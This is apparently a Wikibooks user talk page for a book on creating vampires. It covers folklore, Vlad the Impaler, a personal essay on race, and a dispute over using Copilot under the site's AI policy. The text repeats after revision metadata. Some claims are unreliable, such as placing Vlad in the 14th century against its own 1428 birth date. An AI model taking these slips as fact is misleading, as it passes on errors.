imagination maybe following their own personal creative spirit. <br> <br> <br> I WILL SLOWLY ADD MORE INFORMATION TO THIS SECTION [NOT ON MAIN PAGE] Why Create Vampires? / Warning! <br> '''WARNING: <u>Vampires of the imagination in action!</u>''' <br> <br> Giving warnings against vampires of the imagination maybe a useful device writers could explore. <br> Typical vampires of the imagination are not friendly characters, they seem to possess unusual traits and characteristics, they are not popular, <br> almost un-loveable, and very problematic.<BR> <br> {| class="wikitable" |+ COMMON VAMPIRE-IMAGINATION TRAITS + CHARACTERISTICS:<br> |- ! Traits !! !! Characteristics |- | Pale / Deadly pale || || Enjoy isolation / Loner personality |- | Long fangs / Fang-ish teeth || || Predator personality |- | Thin || || Alpha Male type |- | Black hair / Brown Hair || || "Energy Vampire" : Negativity, overly dramatic, hostile rages, complaints and sad stories. |- | Re-animated corpse with failing body issues. || || |} <BR> Vampires of the imagination that seem to be re-animated, walking corpses, some with dominate alpha-male behaviors and sharp cuspids, could be a terror, a monster, or a walking nightmare to a town, or neighborhood. It is easy for Writers to warn their readers against such a vampire [...of the imagination], yet what about vampires with subtle negative energy influences? What of Energy vampires and other less monster-ish vampires of the imagination?<br> <BR> '''Tip:''' Typically, humans have four cuspids in their mouth. Two on the bottom, and two on the top left and right side of the mouth. <BR> These are the sharpest, longest teeth, they have a pointed edge and have been called "vampire teeth" by some Writers.<BR> <br> {| class="wikitable" |+ Supernatural Vampire Traits |- ! Traits that are supernatural !! Mythological Creature |- | Immortality <br>Drinking blood <br> Sunlight Poisoning<br> Heightened senses <br> Morphing || [[File:"Le Vampire".jpg|thumb|"Le Vampire"]] |} <br> Vampire stories found in Eastern European Folklore often warn people against evil characters, or of a evil character [the antagonist] <br> who in a malicious manner seeks to harm innocent people. Regardless of the motive, the methods are of drugging [poisoning] the victim, <br> which often leads to the innocent person getting buried alive, and / or having their graves robbed by grave-robbers interested <br> in robbing the rich. Many Eastern European folk stories have warnings against grave-robbers! <br> <br> Some traits for vampires of the imagination are obviously supernatural, yet other vampires of the imagination possess normal traits, yet are described as displaying unusual behaviors. In 1819, John Polidore wrote The Vampyre, a fictional piece that is noted as having introduced vampires of modern Fiction. The Poet Rudyard Kipling wrote in his The Vampire in 1897 "To a rag and a bone and a hank of hair," it is implied that Kipling's vampire is realistic, thus mostly made up. Tip: Typically, humans have four cuspids in their mouth. Two on the bottom, and two on the top left and right side of the mouth. These are the sharpest, longest teeth, they have a pointed edge and have been called "vampire teeth" by some Writers. Perhaps Juliet in William Shakespeare's play: Romeo and Juliet could be described by some people as a vampire of the imagination. Does William Shakespeare describe physical traits that would support this claim or unusual interpretation? Do the characters act in ways that may influence, or inspire, future imaginative vampire stories?<br> <br> [new section: Why Create Vampires? Legal Considerations] <br> '''<u>Why Create Vampires? Legal Considerations</u>''' <br> For many legal reasons, people are not allowed to poison then legally bury other people alive, nor are people allowed to rob another person's grave. <br> When we hear about the grim and bloody punishments Vlad- The Impaler inflicted on grave robbers and other lawless thieves, we may start to wonder, why create vampires? <br> <br> It is rumored that Vlad - The Impaler, Prince of Wallachia (a region now known as southern Romania), ran spikey poles through his enemies during the middle of the 14th century. Vlad may have impaled hundreds, worse, many of the impaled were left outside his city on display as a warning to scare off invaders and robbers, including grave robbers! Many folk stories about the Prince of Wallachia circulate where folk stories are written and read. <br> <br> When vampire folklore is reviewed, we learn about History, and about people from other cultures, many who struggled with, and for their humanity. We learn of the methods (sometimes bloody) people used to solve problems, and we may wonder how our society would fairly solve our problems while staying humane. We may also wonder about other folk stories from around the world, such as the zombie-person, the demon-person, or the hungry ghost-person. How does a human get turned into a hungry ghost-person? <br> <br> [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:33, 25 August 2022 (UTC) <br> Sources: <br> [[https://healthpsychologyconsultancy.wordpress.com/2012/07/13/the-energy-vampire-personality-type/|https://healthpsychologyconsultancy.wordpress.com/2012/07/13/the-energy-vampire-personality-type/]] wordpress.com Reviewed: 8/19/2022 <br> [[https://theconversation.com/five-vampire-traits-that-exist-in-the-natural-world-104957|https://theconversation.com/five-vampire-traits-that-exist-in-the-natural-world-104957]] theconversation.com <br> [[https://www.dictionary.com/browse/cuspid|https://www.dictionary.com/browse/cuspid]] www.dictionary.com <br> Thanks [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 17:03, 19 August 2022 (UTC) == DROPPING MY RACIAL BAGGAGE == <br> MY PERSONAL INFORMATION SEEMS TO BELONG ON MY DISCUSSION PAGE.<br> Dropping My Racial Baggage <br> On my body I have two birthmarks. One is a darker brown than my normally brown body, the other is a yellowish-brown birthmark, lighter than most of my brown body. I always knew my family was blended, we merged and emerged from attractive dark brown and yellowish-brown relatives who could pass as white because of their facial features. Today, I’m sure they could blend with tan Americans, meaning Americans who are a lighter brown in skin complexion and appearance. I always thought my family was most like the family from The Cosby Show, a popular family TV Show. On The Cosby Show, Bill Cosby’s TV father was not embarrassed by the members of his family who came in a range of shades, from dark brown to almost-white. The fact was that families with extended family members felt comfortable, and popular, claiming all the members of their family! This was ideal. Some people wanted to celebrate. The 1980s were diverse and positive times for family Entertainment. As opposed to foreign cultural notions of people checking one of two boxes: black or white, and away from similar subversive cultural norms … black and tan? The composition by Duke Ellington comes to mind… I consider most Americans in a range between dark brown and tan. When people ask me my race, I always say “brown,” because I am a brown woman, or to be technically correct, I am a multi-colored, 4th dimensional woman. Most people do not want to be super-technical (by acknowledging the 4th dimension of space-time), yet people seem to want to live reasonable lives. For example, why can’t the box of 8 colors describe the colors we see when we look at other people? Perhaps crayons’ manufacturers, CRAYOLA, did need to make several flesh colored crayons and market colors that people appear to be, ranging from dark brown to light brown. After watching America’s Top Model, at least 13 seasons, I realized that most people can see beyond the simple “black” or “white” description, yet there are people who will describe a brown, or a tan person as either “black” or “white.” Humans calling people “black” or “white” use to mildly bother me, I remember when I roomed with a Jewish person, (a student who ate pepperoni pizza with few problems), a young woman who re-named me “black” every time I spoke with her, I remember feeling puzzled, then resentful. My third-grade Teacher never labeled me black, the other African-Americans in my High School never left me with the “black” label, nor did a few Native Americans who were called “Asian-Americans,” (…about Native-Americans, I mean we know where America is, but where is Asia?) therefore I was really puzzled. During my “identity growth” years, when I considered the words other people used to label “me,” I was grouped with other teenagers, later, mis-leading college students and other young adults whose mis-labeling of others was either a shameful oversight or ironic (the irony based on previous unexamined cultural biases Americans had failed to question). What is ironic about public expressions of race is the fact that our notions about race are influenced by our culture. For example, in High School, I remember my excitement about the field of Science, a high point after I had read a TIME magazine article that reported Scientist who could trace DNA via. The mitochondrial organelles. What I remember from my Cell Biology books are that the mitochondria are the “power house” of the cell. The article suggested that we could trace our ancestors DNA not just from DNA found in the nucleus, but also through analyzing unique DNA found in the mitochondria. This information made news, in fact, the cover of that TIME magazine was a arty image with a updated image of Adam and Eve. I assume the updated image was to announce the new Science developing to help find our ancestors and discovering our relatives. I remember that I stood in front of my Science class with a issue of TIME magazine in my hand, and I asked the class if they knew “black” people were in the garden of Eden. The arty image on the cover of TIME actually showed people who looked like African-Americans, people with brownish-tan skin, and mid-length curly hair. People in America who looked like the image on the TIME magazine cover were / are called “black” in America. As I gain a greater appreciation for the Arts, especially after I took a few Art appreciation classes, I realize that forcing a racial classification was rude, by asking if the class knew that black people were in the garden of Eden, I exposed my mis-education. It is the ironic mis-education I remember I attached to the arty TIME magazine cover. In my early weeks on my college campus, I would brag about my chosen field: Genetics. Because there was no major in Genetics, I had to settle for a Biology or a Chemistry major. I could take extra classes that focused on Genetics. Other Science students were also interested in Genetics and seemed the types who would follow me into Genetic fields where we would, hopefully, find jobs in Genetics, where we would one day help to cure genetic disorders. That was my teenage dream for my future career. Turns out, reality is less ideal. Although I did find meaningful work later, in a laboratory that studied animal genetics, I basically learned how to use modern Science equipment [a giant lesson needed if Science is to improve our understandings…]. Science equipment is complex, and often, a lack of a good understanding of Science and Technology left Science students with puzzling results… I also worked at a Hospital, and I proudly held a healthy and alert white baby boy whose parents were probably immigrants from China. Technically, I have held white children, and I technically believe that they are a minority, and like other children, small white children should always be protected by adults and by our government. Finally, I use to converse with other students about my hair, or about my complexion [my hair and skin does lighten and darken with sunlight exposure]. Few students believed I needed to allow my hair to be natural, to see the two different hair types (one tight and curly, like a spiral, the other less tight, more wavey), or that my time spent without make-up (concealer) was necessary, yet my time spent without make-up allowed my brown complexion to emerge (in its range of brownness). By studying my genotypic expression, my biological inheritance, my outer surface appeared. I studied myself as I truly would appear without cosmetics, concealers, and hair-straighteners. I did not burn my bra (I did have limits), yet freeing oneself of “surface enhancers” allowed me to feel confident in who I truly was: a healthier, brown woman with black curly hair. I suppose I found myself? Nonsense, how could I ever lose me? I allowed my natural surface appearance to emerge, at least for a brief time in my life. Were college students who were once interested in Genetics as a career path impressed? Probably not. For unknown reasons, the ‘natural’ black chick, or the brown wannabe white-Hippy stereotype seemed to follow me. After exposure to radiation [a safe level] while working in a research laboratory, I did follow a popular “back-to-nature” path where I preferred natural products to “overprocessed” or processes products. My non-racist friends, many blond with sun-kissed brown skin, were typical “white Hippies,” yet I didn’t have to be a wannabe white-Hippy to be a non-racist woman who supported nature, was a Environmentalist, and a supporter of better opportunities for all Americans, regardless of their color, religion or gender! When I went online to share my learnings, gleaned from my factual college experiences, I was treated like a poor black child who couldn’t understand racist online… What? I could look up the definition for racism. [Racism (n): prejudice, discrimination, or antagonism directed against a person or people on the basis of their membership in a particular racial or ethic group, typically one that is a minority or marginalized]. As I understand the concept, racism is a flawed ideology that simplifies reality, forcing complex humans into limited conceptual categories. I was always against individual racist, preferring my own understanding of the situation from Dr. Martin Luther King’s point-of view, as I remember his message, we should judge a man based on his character [his deeds] and not on the color of his skin. To better fight against racism, I got help from Christians. In general, Christians believe that God has a plan for all of humanity. Many Christians believe that all people are the children of God. In the presence of active Christians on campus, I met actual black people, people with dark brown skin that could be mistook for the color black in bright sunlight. Near “black” people, I felt the color brown, there was no other way to describe my skin’s appearance. I was a brown human, which is what I had been saying since the 3rd grade in my public school! Contact with diversity confirmed my truth. Now that I am a Christian, I do not mentally pick-up racist ideology as being somehow above Christian beliefs and values. I do try to sense a person’s character. Realistically, most people in America struggle to raise their children because it is hard to raise good Christians and good citizens. I am done with dragging around “racial baggage,” I see people and choose religious values to pick-up, humanity to champion. == Dracula behind Vlad - The Impaler == Greetings! <br> I am glad people like Pi zero reminded me against original research, because I do not want to walk a mile in a undead man's shoes. I found most sources online and in public libraries [I do not have a insider perspective, nor do I want to become a special "inspiration" for a vampire-person in another special reader's world].<br> I want to create a new section: Dracula behind Vlad - The Impaler. <br> <br> '''Dracula behind Vlad - The Impaler''' <br> <br> Sometimes Writers will mock their times, or the leaders in their society through parody, or through satire. In some countries Writers have the freedom to mock real men in Politics, or of great military influence who seem, in deed, like real monsters. <br> In History, there are a few real monsters, men who we will remember for their cruelty, or for their massive injustices. This does not appear to be the case with Dracula, a novel character considered "inspired by" Vlad The Impaler. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 16:26, 23 August 2022 (UTC) Because of Bram Stoker, a popular Irish Writer, Vlad came to be known as the ''original'' Dracula. It is ironic that the fictional character, Dracula, is well known yet the historic man, Vlad, a Prince from a Romanian royal family, is less known. According to one writer / Historian, "...as he wrote Dracula, he borrowed certain aspects of Vlad's life and wove them in with local folklore from the region." <br> Vlad, a special Prince of Romania, is a difficult subject to research. His Political influence is greatest in Romania, as is his mythic achievements. Vlad seemed to have influenced local folklore before Bram Stoker wrote his novel, '''Dracula''' in 1897. <br> Estimates puts the number of people Vlad is rumored to have killed at around 80,000 people. That seems questionable, it seems unlikely for 1 man to have murdered [directly] a large chunk of the Romanian population. Although it was never rumored by the people who tell, and re-tell folk stories, that Vlad drank blood, he is known as the person behind many bloody impalements and beheadings. <br> According to Wikipedia, "Offences where impalement was occasionally employed included contempt for the state's responsibility for safe roads and trade routes by committing highway robbery or grave robbery, violating state policies or monopolies, or subverting standards for trade. Offenders have also been impaled for a variety of cultural, sexual, and religious reasons." <br> <br> Vlad's father was a ruler of Wallachia, a territory between the Ottoman Empire and Europe, a country whose modern name is now known as Romania (southern). {| class="wikitable" |+ |- ! 5 Facts About Vlad - The Romanian Prince |- | Father: Vlad Dracul |- | Mother: Cneajna |- | Born: 1428 - 1431 |- | Year of Reigns: 1448, 1456 - 1462, 1476 |- | Died: December 1476 - January 1477 |} Source: <br> <u>The World's Most Glorious And Notorious Rulers: The Great And The Terrible And How They Got Their Names"</u> by JoAnne O'Sullivan. Copyright 2020 by JoAnne O'Sullivan. Published by Running Press Kids, an imprint of Perseus Books, LLC. ISBN: 978-0-7624-9661-7 <br> <br> Wikipedia.com [https://en.wikipedia.org/wiki/Vlad_the_Impaler]<br> THANKS [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 17:19, 23 August 2022 (UTC) == Can a kind person help me update (concerning AI)? == Hello. I have not been online to edit Create Vampire in about a year. I noticed new information concerning AI, but I did not have enough time to read and reflect. I am not sure about what Wikibooks will allow concerning AI. I have my original introduction, which I fear may not be neutral enough. I would like to compare my original introduction with the AI rewrite of Vampires of the Imagination. Introduction: Vampires of the Imagination: Although vampires are creatures of folklore, monsters from the afterlife that are sometimes called the "un-dead," vampires are uniquely different from ghost, those lingering spirits who refuse to die. Although vampires, by definition, are animated corpses, vampires of the imagination must feed on human blood in order to continue their earthly existence. This unique quality makes vampires a popular and original type of fiction, slightly different from other creatures found in folklore. Rewrite with AI: Vampires of the Imagination: In many cultural traditions, vampires are described as beings associated with death or the afterlife. They are often distinguished from ghosts, which are typically understood as disembodied spirits rather than reanimated bodies. Folklore commonly portrays vampires as animated corpses that sustain themselves by consuming the blood or life‑essence of the living. This characteristic has contributed to their development as a distinct category of supernatural figure within literature and popular culture. The idea of a blood‑dependent, corporeal being sets vampires apart from other figures in global folklore, many of which do not require physical sustenance or do not possess a physical form at all. In modern fiction, these traditional concepts have evolved into what may be called “vampires of the imagination”—creative interpretations that draw inspiration from historical beliefs while adapting traits to suit narrative, thematic, or symbolic purposes. These fictional versions vary widely, but they typically retain the core elements associated with vampires in earlier traditions: a connection to death, a physical body, and a form of predatory dependence on the living. Which seems best for Wikibooks? ~~ [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 11:07, 12 May 2026 (UTC) == New Topics, we can develop == I hope to write a new section. I used Copilot AI to generate new ideas for Create Vampires. Here is an idea I would like to expand: Historical and Cross-Cultural Origins of Vampire Archetypes -Overview of vampire-like beings from other global folklore. - How these traditions shape modern vampire tales. - Build a table comparing characteristics across cultures. I got a list of vampire-like "beings" from AI. I created a new page. Historical And Cross-Cultural Origins of Vampire Archetypes: Asanbosam (Ashanti, Ghana) — A forest‑dwelling creature with iron teeth and hook‑like feet; attacks from trees. Obayifo (West Africa) — A witch‑like being believed to drain life‑energy from children. Adze (Ewe, Togo/Ghana) — A vampiric spirit that can take the form of a firefly and feed on blood or life‑force. European vampire-like beings: Strigoi (Romania) — Restless dead who return to drain vitality or blood from the living. Upir (Slavic regions) — Early Slavic vampire figure; often associated with disease and nocturnal attacks. Nachzehrer (Germany) — A corpse believed to consume its own burial shroud and psychically drain the living. Vrykolakas (Greece) — A reanimated body associated with plague, misfortune, and nocturnal predation. Mullo (Romani) — A dead person who returns to harm or drain the living. Asian vampire-like beings: Jiangshi (China) — A “hopping” reanimated corpse that drains qi (life‑energy). Penanggalan (Malaysia) — A woman whose head detaches with trailing organs; feeds on blood. Manananggal (Philippines) — A being that separates its upper body and preys on humans at night. Rakshasa (India) — A shape‑shifting demon that sometimes consumes flesh or life‑force. Pontianak / Kuntilanak (Indonesia/Malaysia) — A vampiric spirit of a woman who died in childbirth Middle Eastern vampire-like beings: Ghul (Arabian folklore) — A desert‑dwelling creature that consumes flesh and sometimes blood. Alp (Turkic regions) — A nocturnal spirit that causes nightmares and may drain vitality. Estrie (Jewish folklore) — A female vampiric demon that feeds on blood. The American vampire-like beings: Chupacabra (Latin America) — A modern cryptid said to drain blood from livestock. Tlahuelpuchi (Mexico, Tlaxcala) — A shape‑shifting being, often female, believed to feed on blood. Soucouyant (Caribbean) — A woman who sheds her skin and becomes a fireball to feed on blood. Wendigo (Algonquian peoples) — Not a vampire, but a cannibalistic spirit associated with hunger and consumption. Oceanian vampire-like beings: Yara-ma-yha-who (Australia, Aboriginal folklore) — A small red creature that drains blood through suckers on its hands and feet. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 12:45, 12 May 2026 (UTC) == Copilot AI Use == On May 12, 2026 <br> I asked Microsoft Copilot (AI) several questions. <br> Q: Hello Copilot. I have a question. What are a few ideas to use on a wikibooks page about vampires? The page is nonfictional. The page is entitled: Create Vampires. <br> Q: Is this tone neutral? "Vampires of the Imagination" [section] <br> Rewrite the entire "Vampires of the Imagination" section in perfect wikibooks tone.<br> Q: Can you give a list of vampire-like beings in global folklore? <br> Q: How do I cite my source? <br> Build a bibliography for me. <br> Q: How would I introduce the concept: Archetype, and the overview of vampire-like beings in global folklore? <br> Q: Do you know how these traits shaped modern vampire traits? <br> Create a table showing which cultures contributed which traits. <br> Q: Can you please analyze The Vampire by Kipling? <br> Q: Can you help me with literary and media analysis, tropes and how they evolved? <br> Q: Can you give me examples of literary pitfalls? <br> Analyze examples from literature or media that fall into or avoid these pitfalls. <br> Q: Where [were] there any Authors who originated vampire tropes? <br> Q: How do I reference vampire literary pitfalls and how to avoid them? <br> Q: Can you cite your sources for the vampire literary pitfalls and how to avoid them section? <br> <br> End of questions concerning Create Vampires. <br> I ask, did I document each instance of using AI correctly? [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 08:03, 15 May 2026 (UTC) :@[[User:3MMPEYTON|3MMPEYTON]] to clarify, have you been using generative AI for all your contributions at Wikibooks? —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 16:50, 15 May 2026 (UTC) ::No. I have created many pages before May 12th, 2026, without assistance from AI. ::I have listed the prompts I used when interacting with Copilot, in order to brainstorm for new ideas. ::Copilot extended my original ideas for the books pages. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 17:29, 15 May 2026 (UTC) :::@[[User:3MMPEYTON|3MMPEYTON]] Got it. Please note that [[Wikibooks:Artificial intelligence|Wikibooks policy]] expressly prohibits the use of generative AI to {{tq|"generate or summarize material and ideas at Wikibooks"}}, so this content you added after May 12 may need to be deleted. Let me know if you have any questions about this! —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 02:07, 20 May 2026 (UTC) == Now What? Thanks for reading, and commenting! == How do I un-learn the factual information Copilot (AI) gave me? Most of the information he listed, I found on Wikipedia, I then edited and summarized the information. Copilot provided a list that was specific, allowing me to easily access information on Wikipedia. How can I continue to use Wikipedia as a source, after having used Copilot? I also rewrote most of the information Copilot introduced. I treated Copilot like a resource, similar to Wikipedia, I was careful to re-write each line. I also used Copilot to give me a list of Authors who influenced the vampire genre. This list had names of writers I had not read yet. How do I move around this list of famous Authors? They are a kind of "core" group of Authors. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 18:57, 22 May 2026 (UTC) == What About Search Engines? == Can I use Google's search engine to answer a few questions I had already asked Microsoft Copilot? I know that Google's search engine sometimes uses its AI to answer questions. Is this permitted? [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 19:52, 22 May 2026 (UTC) == A General Question == This is a question concerning Wikibooks and Artificial Intelligence, or AI.<br> Can Wikibooks create a section for AI-Wikibooks? I'm certain AI can provide extensive information to people, for FREE, in a tone that reflects Wikibook's stylistic standards. The only problems I see, is fact-checking the information AI provides. Any thoughts? As of today, AI material is copyright free, because AI is not a person. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:17, 23 May 2026 (UTC) == Proposal to Allow Limited, Transparent Use of Generative AI as an Assistant Tool == Dear Wikibookians, <br> <br> I am writing because our community has an opportunity to update or change our current guidelines regarding generative AI. <br> <br> I propose we integrate generative AI. It is my hope that we can work with AI in a manner that supports human authorship. <br> <br> By allowing limited use of generative AI, we may be able to cull through facts quickly, fact check with greater accuracy, locate emerging information, and verify dates. We may also use generative AI to help us organize information. <br> <br> Using generative AI as an assistant tool will not replace human creativity. <br> Writers and Editors can post our community guidelines into the computer’s prompter, thereby clearly define what Wikibooks will and will not allow. <br> By allowing generative AI, we can improve our books and publish with greater speed. <br> <br> By adopting a limited, clearly defined framework, we can: <br> • Preserve the human voice and originality of every contributor <br> • Improve factual accuracy and reduce unintentional errors <br> • Support contributors who may not have access to extensive research libraries <br> • Keep Wikibooks competitive, relevant, and forward looking <br> <br> Thank you for considering this proposal. <br> Sincerely, Minda Peyton [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 03:53, 27 August 2026 (UTC) == Hello Wikibookians! == My name is Minda Peyton. I have been a writer for Wikibooks for several years. <br> I have worked on Create Vampires, a book about vampires! I invite you to read and contribute. <br> Thank you. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 13:22, 29 August 2026 (UTC) 1eq1sh6pkb8vnsi9iofrdaj96j8u0a9 4670671 4670669 2026-09-17T14:22:30Z Kittycataclysm 3371989 /* Wikibooks is not a personal web hosting space or blog */ new section 4670671 wikitext text/x-wiki == Zombie by Margaret Atwood == '''Zombie''' is a poem by the world famous poet Margaret Atwood. Her poem can be found in her book <u>'''Dearly'''</u>, a collection of her new poems. I hope to post a critical essay on 'Zombie' by Margaret Atwood, as a example of critical analysis in Literature. I am certain that I can fairly reprint a few lines from the poem, yet I'm not sure if I can post the entire poem. Any suggestions? Thanks~~ [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 18:04, 25 June 2022 (UTC) <br> There you have it: zombie. <br> Didn't you always suspect? <br> "Poetry is the past <br> that breaks out in our hearts" <br> like a virus, like an infection. <br> <br> The quote within the poem: "Poetry is the past that breaks out in our hearts..." is taken from the poet Rilke. <br> ==NEW EDITS!== NEW TOPIC: [ I left these paragraphs under CREATE VAMPIRES / History and Folklore ] History, meaning inquiry, or knowledge acquired from the past by investigation, may stem from Greek historia, according to Wikipedia. https://en.wikipedia.org/wiki/Portal:History History is related to folklore, yet is essentially different. Folklore are stories about a particular culture, yet Folklore, and similar legends, are told from a subjective perspective, and are not validated by external sources. Folklore and legends are classified as cultural heritage. History is not myth, mainly for reasons that involve telling a story about events that have happened in the past, and then gathering supporting evidence used to validate one's history. The study of History is a major discipline in academic fields. The nature of the vampire shifted from folklore stories, that often contained warnings, to mutated stories about pale monsters and occult-ish blood lettings. It is as if the horrific stories about the tragic events that happened to some people, horror stories that were traditionally passed orally from person to person, started to pass culturally from one region to another region, finally emerging (centuries later) from the author's imagination in tangible, written form, vastly distorted, yet eerily relevant, with the mysterious ability to capture the imagination of young readers. Imaginative young readers today, could greatly benefit from Creative Writing classes offered in many Public High Schools. Creative writing classes are controversial classes in academia, yet in general, helpful to students in public schools. Creative writing programs are developing. In many public schools, creative writing classes are related to Language classes, and Art classes. Creative writing is not a discipline in academic fields. Create Vampire is a free wikibook intended as a guide, and as a non-fictional resource for people fascinated by vampires and similar monsters! TIP: Before creating a vampire character, you could ask yourself if you want your vampire to reflect stories based in Folklore, gathered from events that happened to actual people, or you may prefer to create a vampire from your imagination. Perhaps a imaginary creation who possesses non-human traits? I edited this major paragraph Create Vampires / History and Folklore / Create Vampires?: <BR>CREATE VAMPIRES? In a world where people desire to make a lot of money, in the shortest amount of time. In a world where bank robbery is illegal, yet grave-robbery is not...? In a world populated by individuals who seemed ruled by greed, vampires and other monsters are sometimes spoken into some tangible, often frightening existence. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:24, 13 August 2022 (UTC) If we exist in a world where characters could be spoken into existence, and allowed to linger in unusual fields bound and un-bound... If characters could linger, losing human characteristics and form, linger like ghost populating flat white spaces, if characters could attain atypical motion, yet exist like zombies without the ability to reason, or exist like demons without kindness, or exist like vampires, with constant hunger, sharing kindness with the hungry ghost who linger with desires to be fed, if such empty planes were populated by hungry, unreasoning, lingering atypical creations, mere works of the imagination, would their monster's tale be worthy of note? I hope to add this paragraph [somewhere after "The nature of the vampire shifted from folklore stories..."] The nature of the vampire shifted from folklore stories, that often contained warnings, to mutated stories about pale monsters and occult-ish blood lettings. It is as if the horrific stories about the tragic events that happened to some people, horror stories that were traditionally passed orally from person to person, started to pass culturally from one region to another region, finally emerging (centuries later) from the author's imagination in tangible, written form, vastly distorted, yet eerily relevant, with the mysterious ability to capture the imagination of young readers. <BR>Thanks. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:24, 13 August 2022 (UTC) == I will miss Pi zero. == Although this is a personal response, in no way related to "Create Vampires," I have recently learned of Wikibooks' loss. Pi zero was a great guide, and I will miss his guidance when I am loss on Wikibooks. He was a special person online. Now I wonder who will remind me to avoid ORIGINAL RESEARCH? LOL. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:54, 15 August 2022 (UTC) == Why Create Vampires? == I added 5 new paragraphs to a new page: Why Create Vampires? <br> Contributions from Wikibookians interested in these subjects, especially vampires, are welcomed! <br> <br> [new section] What would happen if you woke-up one day with a horrible craving for blood? What if you woke up, then slowly realized that you were invisible, would you get dressed out of habit? What if you woke-up one day both hungry and invisible? What would you do? These are questions writers may consider when approaching fictional narratives. Stories about ghosts, angels, zombies and vampires are popular with modern readers, yet why do people write about vampires? Should you? Perhaps writing creatively about a fascinating subject is a bit of a dream. In order to first figure out what to write, some people may choose to gather together with other writing students to consider and experiment with ideas and techniques of use to other Writers. Classes that encourage creative writing, may encourage exploration of fascinating subjects, such as vampires. Exploration of unusual subjects can be rewarding to the creative spirit! Creative writing is a self-developmental process involving your creativity, using established techniques of the Writer’s craft, shaped by your level of honesty. In creative writing classes, your story is not just your creative expression, each story you take time to write is similar to a window allowing people to share in the communication process. You don’t just share common norms about spelling, grammar, or idiomatic expressions used by normal people, your story can share information about how a group of people reacted to life-altering events, meaning your stories can in a general sense, reflect the society and times you observe and write about. Because every writer is advised to “write what you know,” you may willingly look for safe ways to write what you know, creatively, in a non-factual manner that may not share factual information, yet will express your emotions, or will reflect the feelings of everyone. Creative writing is about telling a story, in a expressive, original manner. Techniques like tone, meaning how to express the right mood, emotional intensity, or level of humor, meaning how we tell the story using the right tone to a reader who is unable to hear you, or hear the people your story will reflect, may become easier after we have developed better writing skills. Creative writing is a subject about developing better writing skills, and allowing honest expression, often in non-factual, creative ways. <br> <br> Writers who write about the vampires from their imagination maybe following their own personal creative spirit. <br> <br> <br> I WILL SLOWLY ADD MORE INFORMATION TO THIS SECTION [NOT ON MAIN PAGE] Why Create Vampires? / Warning! <br> '''WARNING: <u>Vampires of the imagination in action!</u>''' <br> <br> Giving warnings against vampires of the imagination maybe a useful device writers could explore. <br> Typical vampires of the imagination are not friendly characters, they seem to possess unusual traits and characteristics, they are not popular, <br> almost un-loveable, and very problematic.<BR> <br> {| class="wikitable" |+ COMMON VAMPIRE-IMAGINATION TRAITS + CHARACTERISTICS:<br> |- ! Traits !! !! Characteristics |- | Pale / Deadly pale || || Enjoy isolation / Loner personality |- | Long fangs / Fang-ish teeth || || Predator personality |- | Thin || || Alpha Male type |- | Black hair / Brown Hair || || "Energy Vampire" : Negativity, overly dramatic, hostile rages, complaints and sad stories. |- | Re-animated corpse with failing body issues. || || |} <BR> Vampires of the imagination that seem to be re-animated, walking corpses, some with dominate alpha-male behaviors and sharp cuspids, could be a terror, a monster, or a walking nightmare to a town, or neighborhood. It is easy for Writers to warn their readers against such a vampire [...of the imagination], yet what about vampires with subtle negative energy influences? What of Energy vampires and other less monster-ish vampires of the imagination?<br> <BR> '''Tip:''' Typically, humans have four cuspids in their mouth. Two on the bottom, and two on the top left and right side of the mouth. <BR> These are the sharpest, longest teeth, they have a pointed edge and have been called "vampire teeth" by some Writers.<BR> <br> {| class="wikitable" |+ Supernatural Vampire Traits |- ! Traits that are supernatural !! Mythological Creature |- | Immortality <br>Drinking blood <br> Sunlight Poisoning<br> Heightened senses <br> Morphing || [[File:"Le Vampire".jpg|thumb|"Le Vampire"]] |} <br> Vampire stories found in Eastern European Folklore often warn people against evil characters, or of a evil character [the antagonist] <br> who in a malicious manner seeks to harm innocent people. Regardless of the motive, the methods are of drugging [poisoning] the victim, <br> which often leads to the innocent person getting buried alive, and / or having their graves robbed by grave-robbers interested <br> in robbing the rich. Many Eastern European folk stories have warnings against grave-robbers! <br> <br> Some traits 